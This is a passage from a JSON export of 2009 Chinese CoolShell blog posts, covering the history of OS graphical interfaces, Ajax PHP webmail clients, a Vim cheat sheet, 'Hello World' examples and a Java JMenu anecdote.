[***guidebookgallery.org***](http://www.guidebookgallery.org/screenshots/win203)\n\n\n \n\n\n**OS/2 1.x (released in 1988)**\n-------------------------------\n\n\nOS/2 版本1.x本来是IBM和Microsoft一起开发的，但是1991年两个公司分道扬镳，微软做自己的windows去了，而IBM继续OS/2的开发，这个操作系统的GUI又被叫作“Presentation Manager”，这个版本的OS/2只支持很单一的色调和不能移动的图标。\n\n\n \n\n\n*[![15-os-2-1](../wp-content/uploads/2009/03/15-os-2-1.gif \"15-os-2-1\")](https://coolshell.cn/wp-content/uploads/2009/03/15-os-2-1.gif)  \n\nMicrosoft-IBM OS/2 1.1, Source: [***pages.prodigy.net***](http://pages.prodigy.net/michaln/history/os211/index.html)*\n [![16-os-2-11](../wp-content/uploads/2009/03/16-os-2-11.gif \"16-os-2-11\")](https://coolshell.cn/wp-content/uploads/2009/03/16-os-2-11.gif)  \n\nMicrosoft-IBM OS/2 1.1, Source: [***pages.prodigy.net***](http://pages.prodigy.net/michaln/history/os211/index.html)\n\n\n \n\n\n**NeXTSTEP / OPENSTEP 1.0 (released in 1989)**\n----------------------------------------------\n\n\n Steve Jobs 想给大学或研究实验室做一个完美的Research电脑，于是这个想法促成了NeXT Computer Inc.在1989年的时候release了 NeXTSTEP 1.0 GUI，在后来它被改名为：OPENSTEP。\n\n\n该 GUI 的图标很大，48×48像素，包含更多颜色，一开始是单色的，从1.0开始支持彩色，下图中已经可以看到现代 GUI 的影子。\n\n\n下面是截屏： \n\n\n*[![17-nextstep-1](../wp-content/uploads/2009/03/17-nextstep-1.jpg \"17-nextstep-1\")](https://coolshell.cn/wp-content/uploads/2009/03/17-nextstep-1.jpg)  \n\nNeXTSTEP 1.0, Source:* [***kernelthread.com***](http://www.kernelthread.com/publications/appleoshistory/7.html)\n\n\n**OS/2 1.20 (released in 1989)**\n--------------------------------\n\n\n接下来，OS/2升级成了1.20，我们可以看到，图标和窗口变得好看了许多，图标看上去更好看，窗体也显得更平滑。（是不是很像Windows 3.2?）\n\n\n*[![18-os-2-12](../wp-content/uploads/2009/03/18-os-2-12.gif \"18-os-2-12\")](https://coolshell.cn/wp-content/uploads/2009/03/18-os-2-12.gif)OS/2 1.2, Source* [***pages.prodigy.net***](http://pages.prodigy.net/michaln/history/os211/index.html)\n\n\n**Windows 3.0 (released in 1990)**\n----------------------------------\n\n\n自从微软和IBM分开后，微软就意识到图形界面对用户的体验会是一个很不错东西，于是他们开始了有意义的改进。操作系统支持386 扩展模式，也就是说可以使用除了640K更多的内存和硬盘空间。并且有能力有更好的显示，如Super VGA 800×600 和 1024×768.\n\n\n此时，Microsoft 雇佣了 [**Susan Kare**](http://en.wikipedia.org/wiki/Susan_Kare) ，她设计了Windows 3.0 的图标并统一了图形界面的风格。\n\n\n*[![19-windows-3](../wp-content/uploads/2009/03/19-windows-3.gif \"19-windows-3\")](https://coolshell.cn/wp-content/uploads/2009/03/19-windows-3.gif)  \n\nMicrosoft Windows 3.0, Source:* [***toastytech.com***](http://toastytech.com/guis/win30.html)\n\n\n*[![20-windows-31](../wp-content/uploads/2009/03/20-windows-31.gif \"20-windows-31\")](https://coolshell.cn/wp-content/uploads/2009/03/20-windows-31.gif)  \n\nMicrosoft Windows 3.0, Source:* [***toastytech.com***](http://toastytech.com/guis/win30.html)\n\n\n1991 – 1995\n-----------\n\n\n**Amiga Workbench 2.04 (released in 1991)**\n-------------------------------------------\n\n\n看来，Amiga Workbench有了很多的改进，该版 GUI 包含很多改进，桌面可以垂直分割成不同分辨率和颜色深度，在现在看来似乎有些奇怪。默认的分辨率是 640×256，不过硬件支持更高的分辨率。但感觉还是土了点。\n\n\n*[![21-amiga-workbench-2](../wp-content/uploads/2009/03/21-amiga-workbench-2.gif \"21-amiga-workbench-2\")](https://coolshell.cn/wp-content/uploads/2009/03/21-amiga-workbench-2.gif)  \n\nCommodore Amiga Workbench 2.04, Source:* [***guidebookgallery.org***](http://www.guidebookgallery.org/screenshots/amigaos204)\n\n\n \n\n\n**Mac OS System 7 (released in 1991)**\n--------------------------------------\n\n\nMac OS version 7.0 是第一个支持彩色Mac OS GUI ，还有阴影。\n\n\n*[![22-macos-7](../wp-content/uploads/2009/03/22-macos-7.jpg \"22-macos-7\")](https://coolshell.cn/wp-content/uploads/2009/03/22-macos-7.jpg)  \n\nApple Mac OS System 7.0, Source:* [***guidebookgallery.org***](http://www.guidebookgallery.org/screenshots/macos70)\n\n\nWindows 3.1 (released in 1992)\n------------------------------\n\n\n这个版本的 Windows 引入了TrueType 字体，第一次使 Windows 成为可以用于印刷的系统。整个界面有非常大的改善，Windows 3.0 中，只能通过 Adobe 字体管理器（ATM）实现该功能。该版本同时包含一个叫做 Hotdog Stand 的配色主题。并且配色还能够照顾有色盲症的人。\n\n\n*[![24-windows_311_workspace](../wp-content/uploads/2009/03/24-windows_311_workspace.png \"24-windows_311_workspace\")](https://coolshell.cn/wp-content/uploads/2009/03/24-windows_311_workspace.png)  \n\nSource:* [***Wikipedia***](http://en.wikipedia.org/wiki/Windows_3.1x)\n\n\nOS/2 2.0 (released in 1992)\n---------------------------\n\n\n这是第一个被提交到互联网上接受可用性与可访问性测试的GUI，整个GUI使用了面向对象的方法设计，每个文件和文件夹都是一个对象，可以同别的文件，文件夹与应用程序关联。它同时支持拖放式操作以及模板功能。看上去已是很不错了。\n\n\n*[![25-os-2-2](../wp-content/uploads/2009/03/25-os-2-2.gif \"25-os-2-2\")](https://coolshell.cn/wp-content/uploads/2009/03/25-os-2-2.gif)*\n\n\n*[![26-os-2-21](../wp-content/uploads/2009/03/26-os-2-21.gif \"26-os-2-21\")](https://coolshell.cn/wp-content/uploads/2009/03/26-os-2-21.gif)  \n\nIBM OS/2 2.0, Source:* [***toastytech.com***](http://toastytech.com/guis/os220.html)\n\n\n**Windows 95 (released in 1995)**\n---------------------------------\n\n\nWindows 3.x 之后，微软对整个GUI被完全重新设计，这是第一个在每个窗口上加上了关闭按钮的GUI。设计团队让图标有了几个状态 (enabled, disabled, selected, checked, etc.) 这也是最著名的“开始”按钮第一次出现的时候。这是Microsoft历史上最大的一步，从此走上了帝国之路。\n\n\n*[![27-windows-951](../wp-content/uploads/2009/03/27-windows-951.gif \"27-windows-951\")](https://coolshell.cn/wp-content/uploads/2009/03/27-windows-951.gif)*\n\n\n*[![28-windows-95](../wp-content/uploads/2009/03/28-windows-95.gif \"28-windows-95\")](https://coolshell.cn/wp-content/uploads/2009/03/28-windows-95.gif)  \n\nMicrosoft Windows 95, Source:* [*guidebookgallery.org*](http://www.guidebookgallery.org/screenshots/win95)\n\n\n1996 – 2000\n-----------\n\n\n**OS/2 Warp 4 (released in 1996)**\n----------------------------------\n\n\n\nIBM 终于争气地推出了 OS/2 Warp 4。桌面上可以放置图标，也可以自己创建文件和文件夹，并推出一个类似 Windows 回收站和 Mac 垃圾箱的文件销毁器，不过一旦放进去进不能再恢复。各个操作系统的图形界面开始越来越相似了。都是icons，窗口，垃圾回收站，等等，大同小异了。\n\n\n \n\n\n \n\n\n*[![29-os-2-warp-4](../wp-content/uploads/2009/03/29-os-2-warp-4.jpg \"29-os-2-warp-4\")](https://coolshell.cn/wp-content/uploads/2009/03/29-os-2-warp-4.jpg)*\n [![30-os-2-warp-41](../wp-content/uploads/2009/03/30-os-2-warp-41.jpg \"30-os-2-warp-41\")](https://coolshell.cn/wp-content/uploads/2009/03/30-os-2-warp-41.jpg)  \n\nIBM OS/2 Warp 4, Source:[***toastytech.com***](http://toastytech.com/guis/os24.html)  \n\n\n**Mac OS System 8 (released in 1997)**\n--------------------------------------\n\n\n该版本的 GUI 支持默认的256色图标，Mac OS 8 最早采用了伪3D图标，其灰蓝色彩主题后来成为 Mac OS GUI 的标志。\n\n\n*[![31-macos-8](../wp-content/uploads/2009/03/31-macos-8.jpg \"31-macos-8\")](https://coolshell.cn/wp-content/uploads/2009/03/31-macos-8.jpg)Apple Mac OS 8, Source:* [***guidebookgallery.org***](http://www.guidebookgallery.org/screenshots/macos80)\n\n\n \n\n\n**Windows 98 (released in 1998)**\n---------------------------------\n\n\n 图标风格和 Windows 95 几无二致，不过颜色支持得更多了。支持超过了256色的图标。第一次出现了“Active Desktop”，桌面和IE集成，开始了internet的全面集成。\n\n\n*[![32-windows-98](../wp-content/uploads/2009/03/32-windows-98.jpg \"32-windows-98\")](https://coolshell.cn/wp-content/uploads/2009/03/32-windows-98.jpg)  \n\nMicrosoft Windows 98, Source:* [***toastytech.com***](http://toastytech.com/guis/win98.html)\n\n\n  \n\n\n**KDE 1.0 (released in 1998)**\n------------------------------\n\n\nKDE是 Linux 的一个统一图形用户界面环境。\n\n\n\n*[![33-kde-1](../wp-content/uploads/2009/03/33-kde-1.jpg \"33-kde-1\")](https://coolshell.cn/wp-content/uploads/2009/03/33-kde-1.jpg)  \n\nKDE 1.0, Source:* [***ditesh.gathani.org***](http://ditesh.gathani.org/blog/2008/04/25/culture-matters/)\n\n\n**GNOME 1.0 (released in 1999)**\n--------------------------------\n\n\nRed Hat Linux发行版开发的GUI，GNOME后来也被别的 Linux 采用。\n\n\n [![34-gnome-1](../wp-content/uploads/2009/03/34-gnome-1.gif \"34-gnome-1\")](https://coolshell.cn/wp-content/uploads/2009/03/34-gnome-1.gif)\n\n\n*Red Hat Linux GNOME 1.0.39, Source:* [***visionfutur.com***](http://www.visionfutur.com/img/histoire/gnome1-1.jpg)\n\n\n \n\n\n2001 – 2005\n-----------\n\n\n**Mac OS X (released in 2001)**\n-------------------------------\n\n\n2000年初，苹果宣布推出其 Aqua 界面，2001年，推出全新的操作系统 Mac OS X。默认的 32×32, 48×48 被更大的 128×128 平滑半透明图标代替。该 GUI 一经推出立即招致大量批评，似乎用户都如此大的变化还不习惯，不过没过多久，大家就接受了这种新风格，如今这种风格已经成了 Mac OS 的招牌。\n\n\n*[![35-mac-osx-1](../wp-content/uploads/2009/03/35-mac-osx-1.jpg \"35-mac-osx-1\")](https://coolshell.cn/wp-content/uploads/2009/03/35-mac-osx-1.jpg)  \n\nApple Mac OS X 10.1 Source:* [***guidebookgallery.org***](http://www.guidebookgallery.org/screenshots/macosx101)\n\n\n**Windows XP (released in 2001)**\n---------------------------------\n\n\n每一次微软推出重要的操作系统版本，其 GUI 也必定有巨大的改变，Windows XP 也不例外，这个 GUI 支持皮肤，用户可以改变整个 GUI 的外观与风格，默认图标为 48×48，支持上百万颜色。\n\n\n*[![36-windows-xp](../wp-content/uploads/2009/03/36-windows-xp.jpg \"36-windows-xp\")](https://coolshell.cn/wp-content/uploads/2009/03/36-windows-xp.jpg)  \n\nMicrosoft Windows XP Professional, Source:* [***guidebookgallery.org***](http://www.guidebookgallery.org/screenshots/winxppro)\n\n\n**KDE 3 (released in 2002)**\n----------------------------\n\n\n自从KDE 1.0以来，K Desktop Enviornment 改善地非常地快也非常的迅猛。其对所有图形和图标进行了改进并统一了用户体验。\n\n\n[![37-kde-3](../wp-content/uploads/2009/03/37-kde-3.jpg \"37-kde-3\")](https://coolshell.cn/wp-content/uploads/2009/03/37-kde-3.jpg)\n\n\n*KDE 3.0.1, Source:* [***netbsd.org***](http://www.netbsd.org/gallery/in-Action/jschauma-kde3.png)\n\n\n \n\n\n \n\n\n2007 – 2009\n-----------\n\n\nWindows Vista (released in 2007)\n--------------------------------\n\n\n开始3D桌面了。这是微软向其竞争对手做出的一个挑战，Vista 中同样包含很多 3D 和动画，自 Windows 98 以来，微软一直尝试改进桌面，在 Vista 中，他们使用类似饰件的机制替换了活动桌面。不过Linux下的3D桌面可更为夸张。\n\n\n*[![38-windows-vista](../wp-content/uploads/2009/03/38-windows-vista.jpg \"38-windows-vista\")](https://coolshell.cn/wp-content/uploads/2009/03/38-windows-vista.jpg)*\n\n\n*Microsoft Windows Vista, Source:* [***technology.berkeley.edu***](http://technology.berkeley.edu/msvista/images/800px-Windows_Vista_Desktop.png)\n\n\n**Mac OS X Leopard (released in 2007)**\n---------------------------------------\n\n\n这是第6代的Mac OS桌面系统，也是一样，引入了更好的3D元素。还有大量的动画。\n\n\n*[![39-mac-osx-leopard](../wp-content/uploads/2009/03/39-mac-osx-leopard.jpg \"39-mac-osx-leopard\")](https://coolshell.cn/wp-content/uploads/2009/03/39-mac-osx-leopard.jpg)*\n\n\n*Apple Mac OS X 10.5 Leopard, Source:*[***skattertech.com***](http://skattertech.com/media/2007/10/apple-os-x-leopard-screenshot.jpg)\n\n\n \n\n\nKDE (v4.0 Jan. 2009, v4.2 Mar. 2009)\n------------------------------------\n\n\nKDE 4 的 GUI 提供了很多新改观，如动画的，平滑的，有效的窗体管理，图标尺寸可以很容易调整，几乎任何设计元素都可以轻松配置。相对前面的版本绝对是一个巨大的改进。\n\n\n [![40-kde](../wp-content/uploads/2009/03/40-kde.jpg \"40-kde\")](https://coolshell.cn/wp-content/uploads/2009/03/40-kde.jpg)\n\n\n*Source:* [***Wikipedia***](http://en.wikipedia.org/wiki/File:KDE_4.2_desktop.png) \n\n\n（全文完）\n\n\n \n\n\n文章：[来源](http://www.webdesignerdepot.com/2009/03/operating-system-interface-design-between-1981-2009/)\n\n\n\n \n\n\n \n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![粉丝眼中的操作系统](../wp-content/uploads/2009/12/operatingsystems-fanboys-150x150.jpg)](https://coolshell.cn/articles/1998.html)[粉丝眼中的操作系统](https://coolshell.cn/articles/1998.html)\n* [![性能调优攻略](../wp-content/uploads/2012/06/f1-150x150.jpg)](https://coolshell.cn/articles/7490.html)[性能调优攻略](https://coolshell.cn/articles/7490.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg](https://coolshell.cn/articles/5107.html)[10大经典错误](https://coolshell.cn/articles/5107.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg](https://coolshell.cn/articles/4102.html)[如何学好C语言](https://coolshell.cn/articles/4102.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/4077.html)[纯文本配置还是注册表](https://coolshell.cn/articles/4077.html)\n* [![Windows的达尔文进化图](../wp-content/uploads/2010/10/W_600-150x150.jpg)](https://coolshell.cn/articles/3097.html)[Windows的达尔文进化图](https://coolshell.cn/articles/3097.html)\nThe post [操作系统图形界面发展史(1981-2009)](https://coolshell.cn/articles/105.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-3-13 10个基于Ajax的PHP Webmail客户端.md",
    "content": "---\nlayout: post\ntitle: 10个基于Ajax的PHP Webmail客户端\ndate: 2009/3/13/ 9:16:30\nupdated: 2009/3/13/ 9:16:30\nstatus: publish\npublished: true\ntype: post\n---\n\n 下面是十个非常不错的，使用Ajax技术的用PHP开发Webmail的客户端。大家在使用的时候请注意其license。\n\n\n### 1. [RoundCube](http://roundcube.net/)\n\n\nRoundCube Webmail 是一个基于浏览器的IMAP 客户端，其提供了丰富的功能，包含MIME，地址本，文件夹操作，邮件搜索和拼写检查。 RoundCube Webmail 由 PHP写成，需要 MySQL 或 Postgres 数据库的支持。其UI完全遵守于XHTML 和 CSS 2.\n\n\n\n[![webmail1](../wp-content/uploads/2009/03/webmail1.jpg \"webmail1\")](https://coolshell.cn/wp-content/uploads/2009/03/webmail1.jpg)\n\n\n\n### 2. [Zimbra](http://www.zimbra.com/community/downloads.html)\n\n\nZimbra 提供了一个开源的邮件和日历系统，也是基于Ajax技术，非常强大的客户端，他可以通过web service集成第三方的应用“mash-ups” ，于是你可以享有CRM，地图或其它更多的功能。\n\n\n\n### [webmail2](https://coolshell.cn/wp-content/uploads/2009/03/webmail2.jpg)\n\n\n### 3. [Xuheki](http://www.xuheki.com/)\n\n\nXuheki 是一个很快的 IMAP 使用AJAX技术开发的客户端。你能想到的功能它基本上都有了，它使用的是 GNU General Public License.\n\n\n\n### [webmail3](https://coolshell.cn/wp-content/uploads/2009/03/webmail3.jpg)\n\n\n### 4. [SquirrelMail](http://www.squirrelmail.org/)\n\n\nSquirrelMail 这是一个中规中矩的webmail，PHP语言写成，并没有使用AJAX技术，所以并不是很炫，不过它是使用了纯内建的PHP功能支持了IMAP和SMTP。所有的页面都是纯HTML 4.0 (没有任何JavaScript) ，这样的目的主要是为了最大化兼容于不同的浏览器。\n\n\n\n### [webmail4](https://coolshell.cn/wp-content/uploads/2009/03/webmail4.jpg)\n\n\n### 5. [Atmail](http://atmail.com/index.php)\n\n\nAtMail, 一个免费的轻量级的 Ajax Webmail 客户端，由PHP写成，支持WEB和WAP。\n\n\n[![webmail5](../wp-content/uploads/2009/03/webmail5.jpg \"webmail5\")](https://coolshell.cn/wp-content/uploads/2009/03/webmail5.jpg)\n\n\n### 6. [afterlogic](http://www.afterlogic.com/products/webmail-lite)\n\n\nAfterLogic WebMail Lite PHP 是一个非常易用的 webmail 但其界面又非常Cool，其支持 AJAX 和皮肤。支持POP3 和 SMTP。支持收发邮件，多附件，多帐号，多域，邮件预览，站点管理。安装非常容易，需要PHP 4.1+，完全开源并完全免费。\n\n\n[![webmail6](../wp-content/uploads/2009/03/webmail6.jpg \"webmail6\")](https://coolshell.cn/wp-content/uploads/2009/03/webmail6.jpg)\n\n\n \n\n\n### 7. [Hastymail](http://www.hastymail.org/)\n\n\nHastymail 是一个有完整功能的 IMAP/SMTP 客户端，由 PHP 写成。兼容于 PDAs, 手机, 文本浏览器，以及所有的主流浏览器。 Hastymail 有强大的 [插件](http://www.hastymail.org/plugins/) 系统，因为PHP程序员可以随意地改变或增加自己想要的插件。\n\n\n[![webmail7](../wp-content/uploads/2009/03/webmail7.jpg \"webmail7\")](https://coolshell.cn/wp-content/uploads/2009/03/webmail7.jpg)\n\n\n### 8. [Mailr](http://mailr.org/)\n\n\nMailr 是一个开源的 webmail 由 Ruby写成，它使用 Ruby On Rails 的web application 框架。\n\n\n[![webmail8](../wp-content/uploads/2009/03/webmail8.jpg \"webmail8\")](https://coolshell.cn/wp-content/uploads/2009/03/webmail8.jpg)\n\n\n### 9. [Claros inTouch](http://www.claros.org/web/home.do)\n\n\nClaros inTouch 是一个Ajax 消息套装其包含了主要特性有webmail，地址本，记事本，日历(还在开发)，网络硬盘 (还在开发)，内建的即时聊天，以及RSS阅读器。这是第一个开源的webmail其包含了内建的垃圾邮件保护和即时聊天功能的项目。但主要使用了Java语言，利用 JSP/Servlets 及 J2EE技术和 MySQL 数据库。\n\n\n[![webmail9](../wp-content/uploads/2009/03/webmail9.jpg \"webmail9\")](https://coolshell.cn/wp-content/uploads/2009/03/webmail9.jpg)\n\n\n### 10. [Postaci](http://www.postaciwebmail.org/)\n\n\nPostaci 是一个基于 PHP 的POP3/IMAP 邮件客户端，其支持 SMTP 认证。 其使用MySQL, mSQL, Microsoft SQL, Sybase 或PostgreSQL数据库。\n\n\n[![webmail10](../wp-content/uploads/2009/03/webmail10.jpg \"webmail10\")](https://coolshell.cn/wp-content/uploads/2009/03/webmail10.jpg)\n\n\n文章：[来源](http://www.noupe.com/ajax/10-ajax-webmail-clients.html)\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Javascript 装载和执行](../wp-content/uploads/2013/06/javascript-150x150.jpg)](https://coolshell.cn/articles/9749.html)[Javascript 装载和执行](https://coolshell.cn/articles/9749.html)\n* [![一次Ajax查错的经历](../wp-content/uploads/2012/08/ajax_error-150x150.jpg)](https://coolshell.cn/articles/8170.html)[一次Ajax查错的经历](https://coolshell.cn/articles/8170.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg](https://coolshell.cn/articles/5132.html)[疯狂的 Web 应用开源项目](https://coolshell.cn/articles/5132.html)\n* [![一些非常有意思的杂项资源](../wp-content/uploads/2010/09/biolab-150x150.jpg)](https://coolshell.cn/articles/3013.html)[一些非常有意思的杂项资源](https://coolshell.cn/articles/3013.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg](https://coolshell.cn/articles/2593.html)[Web版的VNC](https://coolshell.cn/articles/2593.html)\n* [![Ajax开发利器UIzard ](../wp-content/uploads/2009/10/uizard2-150x150.jpg)](https://coolshell.cn/articles/1611.html)[Ajax开发利器UIzard](https://coolshell.cn/articles/1611.html)\nThe post [10个基于Ajax的PHP Webmail客户端](https://coolshell.cn/articles/154.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-3-13 Vim命令速查卡.md",
    "content": "---\nlayout: post\ntitle: Vim命令速查卡\ndate: 2009/3/13/ 8:45:26\nupdated: 2009/3/13/ 8:45:26\nstatus: publish\npublished: true\ntype: post\n---\n\nVim是unix/linux下的文本编辑器，很牛，但也不好用，这是一个根本不需要小键盘和鼠标的编译器，是专业人士的编辑器。这里有一个命令速查卡。PDF文件可以在这里下载：[PDF](http://jrmiii.com/attachments/Vim.pdf) \n\n\n[![vim](../wp-content/uploads/2009/03/vim-300x282.png \"vim\")](https://coolshell.cn/wp-content/uploads/2009/03/vim.png)\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![无插件Vim编程技巧](../wp-content/uploads/2014/03/success_vim-150x150.jpg)](https://coolshell.cn/articles/11312.html)[无插件Vim编程技巧](https://coolshell.cn/articles/11312.html)\n* [![应该知道的Linux技巧](../wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg)](https://coolshell.cn/articles/8883.html)[应该知道的Linux技巧](https://coolshell.cn/articles/8883.html)\n* [![28个Unix/Linux的命令行神器](../wp-content/uploads/2012/07/dstat_screenshot-150x150.png)](https://coolshell.cn/articles/7829.html)[28个Unix/Linux的命令行神器](https://coolshell.cn/articles/7829.html)\n* [![游戏：VIM大冒险](../wp-content/uploads/2012/04/vimadventuresgamefun-150x150.jpg)](https://coolshell.cn/articles/7166.html)[游戏：VIM大冒险](https://coolshell.cn/articles/7166.html)\n* [![一些文章和各种资源](../wp-content/uploads/2011/09/image008-150x150.jpg)](https://coolshell.cn/articles/5224.html)[一些文章和各种资源](https://coolshell.cn/articles/5224.html)\n* [![给程序员的VIM速查卡](../wp-content/uploads/2011/09/vim_cheat_sheet_for_programmers_print-150x150.png)](https://coolshell.cn/articles/5479.html)[给程序员的VIM速查卡](https://coolshell.cn/articles/5479.html)\nThe post [Vim命令速查卡](https://coolshell.cn/articles/150.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-3-14 Hello World 集中营.md",
    "content": "---\nlayout: post\ntitle: Hello World 集中营\ndate: 2009/3/14/ 9:6:54\nupdated: 2009/3/14/ 9:6:54\nstatus: publish\npublished: true\ntype: post\n---\n\n编程的人应该都知道什么是Hello World。这是一个最简单的程序，其只在屏幕上输出“Hello World”字样，这通常是初学者的在学习编程时的第一个示例。把打印出 “Hello World” 作为第一个范例程序，现在已经成为编程语言学习的传统。  \n\n![hello_world](../wp-content/uploads/2009/03/hello_world-150x150.png \"hello_world\")  \n\n“Hello World”起源于Brian Kernighan 和Dennis MacAlistair Ritchie写的计算机程序设计教程《C语言程序设计》（[*The C Programming Language*](http://en.wikipedia.org/wiki/The_C_Programming_Language \"en:The C Programming Language\")）而广泛流传；但这本书并不是 “hello, world” 的滥觞，虽然这是一个普遍存在的错误认知。\n\n\n这范例程序最早出现于 1972 年，由贝尔实验室成员 Brian Kernighan 撰写的内部技术文件《Introduction to the Language B》之中。不久同作者于 1974 年所撰写的《Programming in C: A Tutorial》，也延用这个范例；而以本文件扩编改写的《C语言程序设计》也保留了这个範例程式。\n\n\n“hello, world” 程序的标准打印内容必须满足“全小写，无惊叹号，逗点后需空一格”，不过流传至今，完全恪守传统的反而罕见。\n\n\n\n下面我们来看几个例子：\n\n\n\n```\n#include <stdio.h>\n\nint main(void)\n{\n   printf(\"Hello, world!n\");\n   return 0;\n}\n\n```\n\n\n```\n#include <iostream>\nusing namespace std;\n\nint main()\n{\n    cout << \"Hello, world!\" << endl;\n    return 0;\n}\n\n```\n\n\n```\npublic class Hello\n{\n    public static void main(String[] args)\n    {\n        System.out.println(\"Hello, world!\");\n    }\n}\n\n```\n\n不过，最全的Hello World的集中营在这里：（请大家围观这个网页）\n\n\n[**http://www.roesler-ac.de/wolfram/hello.htm**](http://www.roesler-ac.de/wolfram/hello.htm)\n\n\n这个网站很BT啊，其开始是从1994年10月3日，于1999年12月30日上互联网，2005年7月14日收集到了超过200个不同语言的Hello World，2006年12月6日达到300个，2008年2月27日达到400个。\n\n\n今天这个网站有一共421个不同语言的Hello World，其中有63个来自人类的语言。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![这多年来我一直在钻研的技术](../wp-content/uploads/2016/08/Architecture-Internships-Abroad-e1471517643765-150x150.jpg)](https://coolshell.cn/articles/17446.html)[这多年来我一直在钻研的技术](https://coolshell.cn/articles/17446.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg](https://coolshell.cn/articles/4535.html)[一些软件设计的原则](https://coolshell.cn/articles/4535.html)\n* [![如何超过大多数人](../wp-content/uploads/2019/06/competition-360x200-1-150x150.png)](https://coolshell.cn/articles/19464.html)[如何超过大多数人](https://coolshell.cn/articles/19464.html)\n* [![十个免费的Web压力测试工具](../wp-content/uploads/2010/07/get_more_web_traffic-150x150.jpg)](https://coolshell.cn/articles/2589.html)[十个免费的Web压力测试工具](https://coolshell.cn/articles/2589.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg](https://coolshell.cn/articles/6424.html)[Hash Collision DoS 问题](https://coolshell.cn/articles/6424.html)\n* [![9个最常见IE的Bug及其fix](../wp-content/uploads/2009/11/200x200-150x150.jpg)](https://coolshell.cn/articles/1817.html)[9个最常见IE的Bug及其fix](https://coolshell.cn/articles/1817.html)\nThe post [Hello World 集中营](https://coolshell.cn/articles/169.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-3-14 OMG, Jave的JMenu居然有433个方法.md",
    "content": "---\nlayout: post\ntitle: OMG, Jave的JMenu居然有433个方法\ndate: 2009/3/14/ 12:49:4\nupdated: 2009/3/14/ 12:49:4\nstatus: publish\npublished: true\ntype: post\n---\n\nJava的Swing类库中有一个类叫JMenu，这个类上面有7层的继承，加上所有被继承下来的方法，这个类一共有433个方法，虽然，很多类是从上面继承下来的，而它自己的方法并没有定义太多的方法，不过，继承体系过深，在底层类上要想知道所有的继承下来的东西并不是一样容易的事情。这个例子展示了一个滥用代码重用的反面案例。我个人认为我们应该反思一下滥用面向对象的作法。\n\n\n要把Java一个类所有的方法例出来并不是一件难事，使用Javascript 利用Firefox浏览器所支持的Package来穷举JMenu的方法可以很方便的列出所有的方法。\n\n\n  \n\n下面是这段Javascripts程序：\n\n\n \n\n\n\n```\n\n\n```\n"
  },
  {
    "path": "blogs/rss2html2markdown/2009-3-14 OMG, Windows 7 来自未来.md",
    "content": "---\nlayout: post\ntitle: OMG, Windows 7 来自未来\ndate: 2009/3/14/ 12:34:33\nupdated: 2009/3/14/ 12:34:33\nstatus: publish\npublished: true\ntype: post\n---\n\n今天，2009年3月14日，某个工程师准备把自己的Windows 7 build7000升级到build 7057，在安装过程中，我们的工程师选择了备份老的系统，于是老的build被备份成到了windows.old目录下，然后当整个系统运行时，这位朋友发现了这一版本的Windows 7好像使用了很多来自外星的技术，很明显他扭曲了时间，下面是他的发现和截屏。\n\n\n点击图片可以大图\n\n\n[![windows_7_created_in_future2](../wp-content/uploads/2009/03/windows_7_created_in_future2-300x179.jpg \"windows_7_created_in_future2\")](https://coolshell.cn/wp-content/uploads/2009/03/windows_7_created_in_future2.jpg)\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![性能调优攻略](../wp-content/uploads/2012/06/f1-150x150.jpg)](https://coolshell.cn/articles/7490.html)[性能调优攻略](https://coolshell.cn/articles/7490.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg](https://coolshell.cn/articles/5107.html)[10大经典错误](https://coolshell.cn/articles/5107.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg](https://coolshell.cn/articles/4102.html)[如何学好C语言](https://coolshell.cn/articles/4102.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/4077.html)[纯文本配置还是注册表](https://coolshell.cn/articles/4077.html)\n* [![两本电子书](../wp-content/uploads/2010/11/Learn-Python-The-Hard-Way-150x150.jpg)](https://coolshell.cn/articles/3270.html)[两本电子书](https://coolshell.cn/articles/3270.html)\n* [![Windows的达尔文进化图](../wp-content/uploads/2010/10/W_600-150x150.jpg)](https://coolshell.cn/articles/3097.html)[Windows的达尔文进化图](https://coolshell.cn/articles/3097.html)\nThe post [OMG, Windows 7 来自未来](https://coolshell.cn/articles/179.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-3-14 幽默：程序员的进化.md",
